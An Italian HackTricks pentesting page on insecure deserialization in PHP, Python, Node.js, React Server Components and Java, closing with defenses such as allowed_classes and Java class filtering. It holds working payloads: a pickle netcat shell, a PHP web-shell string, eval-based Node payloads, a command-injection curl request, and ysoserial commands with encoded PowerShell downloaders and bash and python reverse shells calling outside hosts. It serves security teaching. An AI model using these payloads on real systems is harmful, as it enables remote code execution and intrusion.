Deserializzazione
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Serializzazione è intesa come il metodo di conversione di un oggetto in un formato che può essere conservato, con lâintento di memorizzare lâoggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che lâoggetto possa essere ricreato in un secondo momento, mantenendone struttura e stato.
Deserializzazione, al contrario, è il processo che annulla la serializzazione. Consiste nel prendere dati strutturati in un formato specifico e ricostruirli nuovamente in un oggetto.
La deserializzazione può essere pericolosa perchĂŠ potenzialmente consente agli attackers di manipolare i dati serializzati per eseguire codice dannoso o causare comportamenti inaspettati nellâapplicazione durante il processo di ricostruzione dellâoggetto.
PHP
In PHP, metodi magici specifici sono utilizzati durante i processi di serializzazione e deserializzazione:
__sleep: Viene invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietĂ dellâoggetto che devono essere serializzate. Ă comunemente usato per salvare dati pendenti o eseguire operazioni di pulizia simili.__wakeup: Chiamato quando un oggetto viene deserializzato. Viene usato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altri compiti di reinizializzazione.__unserialize: Questo metodo viene chiamato al posto di__wakeup(se esiste) quando un oggetto viene deserializzato. Fornisce maggiore controllo sul processo di deserializzazione rispetto a__wakeup.__destruct: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. Viene tipicamente usato per operazioni di pulizia, come chiudere handle di file o connessioni al database.__toString: Questo metodo permette di trattare un oggetto come una stringa. Può essere usato per leggere un file o per altre attivitĂ basate sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dellâoggetto.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Se guardi i risultati puoi vedere che le funzioni __wakeup e __destruct vengono chiamate quando lâoggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione __toString viene chiamata quando si tenta di stampare qualche attributo, ma a quanto pare questo non accade piĂš.
Warning
Il metodo
__unserialize(array $data)viene chiamato al posto di__wakeup()se è implementato nella classe. Permette di unserializzare lâoggetto fornendo i dati serializzati come array. Puoi usare questo metodo per unserializzare le proprietĂ ed eseguire eventuali operazioni necessarie durante la deserializzazione.class MyClass { private $property; public function __unserialize(array $data): void { $this->property = $data['property']; // Perform any necessary tasks upon deserialization. } }
Puoi leggere un esempio PHP spiegato qui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, qui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o qui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Puoi abusare della funzionalitĂ PHP autoload per caricare file php arbitrari e altro:
PHP - Deserialization + Autoload Classes
Laravel Livewire Hydration Chains
I synthesizer di Livewire 3 possono essere forzati a istanziare grafi di gadget arbitrari (con o senza APP_KEY) per raggiungere sink Laravel Queueable/SerializableClosure:
Livewire Hydration Synthesizer Abuse
Serializing Referenced Values
Se per qualche motivo vuoi serializzare un valore come una riferimento a un altro valore serializzato puoi:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Preventing PHP Object Injection with allowed_classes
[!INFO] Il supporto per il secondo argomento di
unserialize()(lâarray$options) è stato aggiunto in PHP 7.0. Nelle versioni precedenti la funzione accetta solo la stringa serializzata, rendendo impossibile limitare quali classi possono essere istanziate.
unserialize() istanzierĂ ogni classe che trova nello stream serializzato, a meno che non venga specificato diversamente. Da PHP 7 il comportamento può essere limitato con lâopzione allowed_classes:
// NEVER DO THIS â full object instantiation
$object = unserialize($userControlledData);
// SAFER â disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular â only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Se allowed_classes è omesso o il codice gira su PHP < 7.0, la chiamata diventa pericolosa poichÊ un attaccante può creare un payload che sfrutta metodi magici come __wakeup() o __destruct() per ottenere Remote Code Execution (RCE).
Esempio reale: Everest Forms (WordPress) CVE-2025-52709
Il plugin WordPress Everest Forms ⤠3.2.2 ha cercato di essere difensivo con un wrapper di supporto ma si è dimenticato delle versioni legacy di PHP:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ⼠7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Su server che eseguivano ancora PHP ⤠7.0, questo secondo ramo portava a un classico PHP Object Injection quando un amministratore apriva un form malevolo. Un payload di exploit minimale potrebbe essere:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Non appena lâadmin ha visualizzato lâentry, lâoggetto è stato istanziato e SomeClass::__destruct() è stato eseguito, causando lâesecuzione di codice arbitrario.
Punti principali
- Passare sempre
['allowed_classes' => false](o una lista bianca rigorosa) quando si chiamaunserialize(). - Eseguire audit dei wrapper difensivi â spesso trascurano i branch legacy di PHP.
- Lâaggiornamento a PHP ⼠7.x da solo non è sufficiente: lâopzione deve comunque essere fornita esplicitamente.
PHPGGC (ysoserial for PHP)
PHPGGC può aiutarti a generare payload per abusare delle deserializzazioni PHP.
Nota che in molti casi non riuscirai a trovare un modo per abusare di una deserializzazione nel codice sorgente dellâapplicazione ma potresti essere in grado di abusare del codice di estensioni PHP esterne.
Quindi, se puoi, controlla il phpinfo() del server e cerca su internet (e anche tra i gadgets di PHPGGC) possibili gadget che potresti sfruttare.
phar:// metadata deserialization
Se hai trovato un LFI che si limita a leggere il file e non esegue il codice php al suo interno, per esempio usando funzioni come file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Puoi provare ad abusare di una deserialization che avviene quando si legge un file usando il protocollo phar.
Per maggiori informazioni leggi il seguente post:
Python
Pickle
Quando lâoggetto viene unpickle, la funzione ___reduce___ verrĂ eseguita.
Se sfruttata, il server potrebbe restituire un errore.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Prima di controllare la tecnica di bypass, prova a usare print(base64.b64encode(pickle.dumps(P(),2))) per generare un oggetto compatibile con python2 se stai eseguendo python3.
Per maggiori informazioni su come evadere dalle pickle jails consulta:
Yaml & jsonpickle
La pagina seguente presenta la tecnica per abusare di una unsafe deserialization nelle librerie python per yaml e termina con uno strumento che può essere usato per generare payload di deserialization RCE per Pickle, PyYAML, jsonpickle and ruamel.yaml:
Class Pollution (Python Prototype Pollution)
Class Pollution (Pythonâs Prototype Pollution)
NodeJS
JS Magic Functions
JS non ha âmagicâ functions come PHP o Python che vengono eseguite solo per creare un oggetto. Però ha alcune funzioni che sono frequentemente usate anche senza essere chiamate direttamente come toString, valueOf, toJSON.
Se abusando di una deserialization puoi compromettere queste funzioni per eseguire altro codice (potenzialmente abusando di prototype pollutions) potresti eseguire codice arbitrario quando vengono chiamate.
Another âmagicâ way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called âthenâ of type function, it will be executed just because itâs returned by another promise. Follow this link for more info.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Se vuoi approfondire questa tecnica dai unâocchiata al seguente tutorial:
NodeJS - proto & prototype Pollution
node-serialize
Questa libreria permette di serializzare funzioni. Esempio:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Lâoggetto serializzato sarĂ simile a:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
Puoi vedere nellâesempio che quando una funzione viene serializzata il flag _$$ND_FUNC$$_ viene aggiunto allâoggetto serializzato.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
Come puoi vedere nellâultimo blocco di codice, se il flag viene trovato eval è usato per deserializzare la funzione, quindi fondamentalmente lâinput dellâutente viene usato allâinterno della funzione eval.
Tuttavia, semplicemente serializzare una funzione non la eseguirà perchÊ sarebbe necessario che qualche parte del codice stia chiamando y.rce nel nostro esempio e questo è altamente improbabile.
Comunque, puoi semplicemente modificare lâoggetto serializzato aggiungendo delle parentesi in modo da eseguire automaticamente la funzione serializzata quando lâoggetto viene deserializzato.
Nel prossimo blocco di codice nota lâultima parentesi e come la funzione unserialize eseguirĂ automaticamente il codice:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Come indicato in precedenza, questa libreria prenderĂ il codice dopo _$$ND_FUNC$$_ e lo eseguirĂ usando eval. Pertanto, per auto-eseguire codice puoi eliminare la parte di creazione della funzione e lâultima parentesi e semplicemente eseguire un JS oneliner come nel seguente esempio:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Puoi find here ulteriori informazioni su come sfruttare questa vulnerabilitĂ .
funcster
Un aspetto notevole di funcster è lâinaccessibilitĂ degli oggetti predefiniti; essi ricadono al di fuori dello scope accessibile. Questa restrizione impedisce lâesecuzione di codice che tenta di invocare metodi sugli oggetti predefiniti, portando a eccezioni come "ReferenceError: console is not defined" quando vengono usati comandi come console.log() o require(something).
Nonostante questa limitazione, è possibile ripristinare lâaccesso completo al contesto globale, inclusi tutti gli oggetti predefiniti, tramite un approccio specifico. Sfruttando direttamente il contesto globale, è possibile bypassare questa restrizione. Per esempio, lâaccesso può essere ristabilito usando il seguente snippet:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Per maggiori informazioni leggi questa fonte.
serialize-javascript
Il pacchetto serialize-javascript è progettato esclusivamente per scopi di serializzazione, privo di funzionalitĂ di deserializzazione integrate. Gli utenti sono responsabili di implementare il proprio metodo di deserializzazione. Lâuso diretto di eval è suggerito dallâesempio ufficiale per deserializzare i dati serializzati:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Se questa funzione viene utilizzata per deserializzare oggetti puoi sfruttarla facilmente:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Per maggiori informazioni leggi questa fonte.
Libreria Cryo
Nelle pagine seguenti puoi trovare informazioni su come abusare di questa libreria per eseguire comandi arbitrari:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
React Server Components / react-server-dom-webpack Server Actions Abuse (CVE-2025-55182)
React Server Components (RSC) si affidano a react-server-dom-webpack (RSDW) per decodificare le submission di server action inviate come multipart/form-data. Ogni submission di action contiene:
- parti
$ACTION_REF_<n>che fanno riferimento allâaction invocata. - parti
$ACTION_<n>:<m>il cui body è JSON come{"id":"module-path#export","bound":[arg0,arg1,...]}.
Nella versione 19.2.0 lâhelper decodeAction(formData, serverManifest) si fida ciecamente sia della stringa id (che seleziona quale export del modulo chiamare) sia dellâarray bound (gli argomenti). Se un attaccante può raggiungere lâendpoint che inoltra richieste a decodeAction, può invocare qualsiasi server action esportata con parametri controllati dallâattaccante anche senza un front-end React (CVE-2025-55182). La ricetta end-to-end è:
- Scopri lâidentificatore dellâaction. Lâoutput del bundle, le tracce di errore o leaked manifests tipicamente rivelano stringhe come
app/server-actions#generateReport. - Ricrea il payload multipart. Crea una parte
$ACTION_REF_0e un body JSON$ACTION_0:0contenente lâidentificatore e argomenti arbitrari. - Lascia che
decodeActionlo gestisca. Lâhelper risolve il modulo dalserverManifest, importa lâexport e restituisce un callable che il server esegue immediatamente.
Example payload hitting /formaction:
POST /formaction HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----BOUNDARY
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_REF_0"
------BOUNDARY
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}
------BOUNDARY--
Oppure con curl:
curl -sk -X POST http://target/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
Lâarray bound popola direttamente i parametri server-action. Nel lab vulnerabile il gadget appare cosĂŹ:
const { exec } = require("child_process");
const util = require("util");
const pexec = util.promisify(exec);
async function generateReport(project, format) {
const cmd = `node ./scripts/report.js --project=${project} --format=${format}`;
const { stdout } = await pexec(cmd);
return stdout;
}
Fornire format = "pdf & whoami" fa sĂŹ che /bin/sh -c esegua il legittimo report generator e poi whoami, con entrambi gli output inclusi nella risposta JSON dellâazione. Qualsiasi server action che avvolge filesystem primitives, database drivers o altri interpreters può essere abusata allo stesso modo una volta che lâattaccante controlla i dati bound.
Un attaccante non ha mai bisogno di un vero client Reactâqualsiasi strumento HTTP che emette la multipart $ACTION_* può chiamare direttamente le server actions e concatenare lâoutput JSON risultante in un primitivo RCE.
Java - HTTP
In Java, deserialization callbacks are executed during the process of deserialization. Questa esecuzione può essere sfruttata da attaccanti che creano payload malevoli che attivano questi callback, portando alla possibile esecuzione di azioni dannose.
Fingerprints
White Box
Per identificare potenziali vulnerabilitĂ di serialization nel codebase cerca:
- Classi che implementano lâinterfaccia
Serializable. - Utilizzo di
java.io.ObjectInputStream, delle funzionireadObject,readUnshare.
Prestare particolare attenzione a:
XMLDecoderusato con parametri definiti da utenti esterni.- Il metodo
fromXMLdiXStream, specialmente se la versione di XStream è inferiore o uguale a 1.46, poichÊ è soggetto a problemi di serialization. ObjectInputStreamabbinato al metodoreadObject.- Implementazione di metodi come
readObject,readObjectNodData,readResolve, oreadExternal. ObjectInputStream.readUnshared.- Uso generale di
Serializable.
Black Box
Per i test black box, cerca specifiche signatures o âMagic Bytesâ che indicano oggetti java serializzati (provenienti da ObjectInputStream):
- Pattern esadecimale:
AC ED 00 05. - Pattern Base64:
rO0. - Headers di risposta HTTP con
Content-typeimpostato suapplication/x-java-serialized-object. - Pattern esadecimale che indica compressione precedente:
1F 8B 08 00. - Pattern Base64 che indica compressione precedente:
H4sIA. - File web con estensione
.facese il parametrofaces.ViewState. Scoprire questi pattern in unâapplicazione web dovrebbe indurre a un esame come dettagliato nel post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Verifica se è vulnerabile
Se vuoi capire come funziona un exploit di Java Deserialization dovresti dare unâocchiata a Basic Java Deserialization, Java DNS Deserialization, e CommonsCollection1 Payload.
SignedObject-gated deserialization and pre-auth reachability
I moderni codebase a volte avvolgono la deserialization con java.security.SignedObject e verificano una firma prima di chiamare getObject() (which deserializes the inner object). Questo previene arbitrary top-level gadget classes ma può comunque essere sfruttabile se un attacker riesce a ottenere una firma valida (es., compromissione della private-key o un signing oracle). Inoltre, i flow di error-handling possono mintare token legati alla sessione per utenti non autenticati, esponendo sink altrimenti protetti pre-auth.
Per uno studio di caso concreto con richieste, IoCs e indicazioni per lâhardening, vedi:
Java Signedobject Gated Deserialization
White Box Test
Puoi verificare se è installata qualsiasi applicazione con vulnerabilità note.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet.
You could also use gadgetinspector to search for possible gadget chains that can be exploited.
When running gadgetinspector (after building it) donât care about the tons of warnings/errors that itâs going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector wonât create an exploit and it may indicate false positives.
Test Black Box
Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability.
Read this to learn more about GadgetProbe.
GadgetProbe is focused on ObjectInputStream deserializations.
Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner is focused on ObjectInputStream deserializations.
You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.
You can find more information about Freddy here.
Test di Serialization
Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp).
If you find a Java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.
Exploit
ysoserial
The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example).
Note that this tool is focused on exploiting ObjectInputStream.
I would start using the âURLDNSâ payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the âURLDNSâ payload is not working but other RCE payload is.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Quando si crea un payload per java.lang.Runtime.exec() non si possono usare caratteri speciali come â>â o â|â per reindirizzare lâoutput di unâesecuzione, â$()â per eseguire comandi o anche passare argomenti a un comando separati da spazi (puoi fare echo -n "hello world" ma non puoi fare python2 -c 'print "Hello world"'). In order to encode correctly the payload you could use this webpage.
Puoi usare lo script seguente per creare all the possible code execution payloads per Windows e Linux e poi testarli sulla pagina web vulnerabile:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Puoi usare https://github.com/pwntester/SerialKillerBypassGadgetCollection insieme a ysoserial per creare piÚ exploit. Maggiori informazioni su questo strumento nelle slide della presentazione in cui lo strumento è stato illustrato: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec può essere usato per generare payloads per sfruttare diverse librerie di serializzazione Json e Yml in Java.
Per compilare il progetto ho dovuto aggiungere queste dipendenze a pom.xml:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installa maven, e compila il progetto:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Per saperne di piĂš su questa libreria Java per JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Se vuoi testare alcuni payload di ysoserial puoi eseguire questa webapp: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
PerchĂŠ
Java utilizza molto la serializzazione per vari scopi, come:
- HTTP requests: la serializzazione è largamente impiegata nella gestione di parametri, ViewState, cookies, ecc.
- RMI (Remote Method Invocation): il protocollo Java RMI, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
- RMI over HTTP: questo metodo è comunemente usato dalle applicazioni web thick client basate su Java, sfruttando la serializzazione per tutte le comunicazioni di oggetti.
- JMX (Java Management Extensions): JMX utilizza la serializzazione per trasmettere oggetti sulla rete.
- Custom Protocols: in Java, la prassi standard prevede la trasmissione di oggetti Java raw, cosa che sarĂ dimostrata nei prossimi esempi di exploit.
Prevenzione
Transient objects
Una classe che implementa Serializable può dichiarare come transient qualsiasi oggetto allâinterno della classe che non dovrebbe essere serializzabile. Per esempio:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Evitare la serializzazione di una classe che deve implementare Serializable
In scenari in cui alcuni oggetti devono implementare la Serializable interfaccia a causa della gerarchia di classi, esiste il rischio di deserializzazione non intenzionale. Per evitarlo, assicurati che questi oggetti non siano deserializzabili definendo un metodo final readObject() che lanci sempre unâeccezione, come mostrato di seguito:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Migliorare la sicurezza della deserialization in Java
Personalizzare java.io.ObjectInputStream è un approccio pratico per mettere in sicurezza i processi di deserialization. Questo metodo è adatto quando:
- Il codice di deserialization è sotto il tuo controllo.
- Le classi previste per la deserialization sono note.
Sovrascrivi il metodo resolveClass() per limitare la deserialization solo alle classi consentite. Questo impedisce la deserialization di qualsiasi classe eccetto quelle esplicitamente permesse, come nellâesempio seguente che limita la deserialization alla sola classe Bicycle:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement offre una soluzione di ripiego quando la modifica del codice non è possibile. Questo metodo si applica principalmente per blacklisting harmful classes, utilizzando un parametro JVM:
-javaagent:name-of-agent.jar
Fornisce un modo per mettere in sicurezza la deserialization in modo dinamico, ideale per ambienti dove modifiche immediate al codice sono impraticabili.
Vedi un esempio in rO0 by Contrast Security
Implementing Serialization Filters: Java 9 ha introdotto serialization filters tramite lâinterfaccia ObjectInputFilter, offrendo un meccanismo potente per specificare i criteri che gli oggetti serialized devono soddisfare prima di essere deserialized. Questi filtri possono essere applicati globalmente o per stream, offrendo un controllo granulare sul processo di deserialization.
Per utilizzare serialization filters, puoi impostare un filtro globale che si applica a tutte le operazioni di deserialization o configurarli dinamicamente per stream specifici. Per esempio:
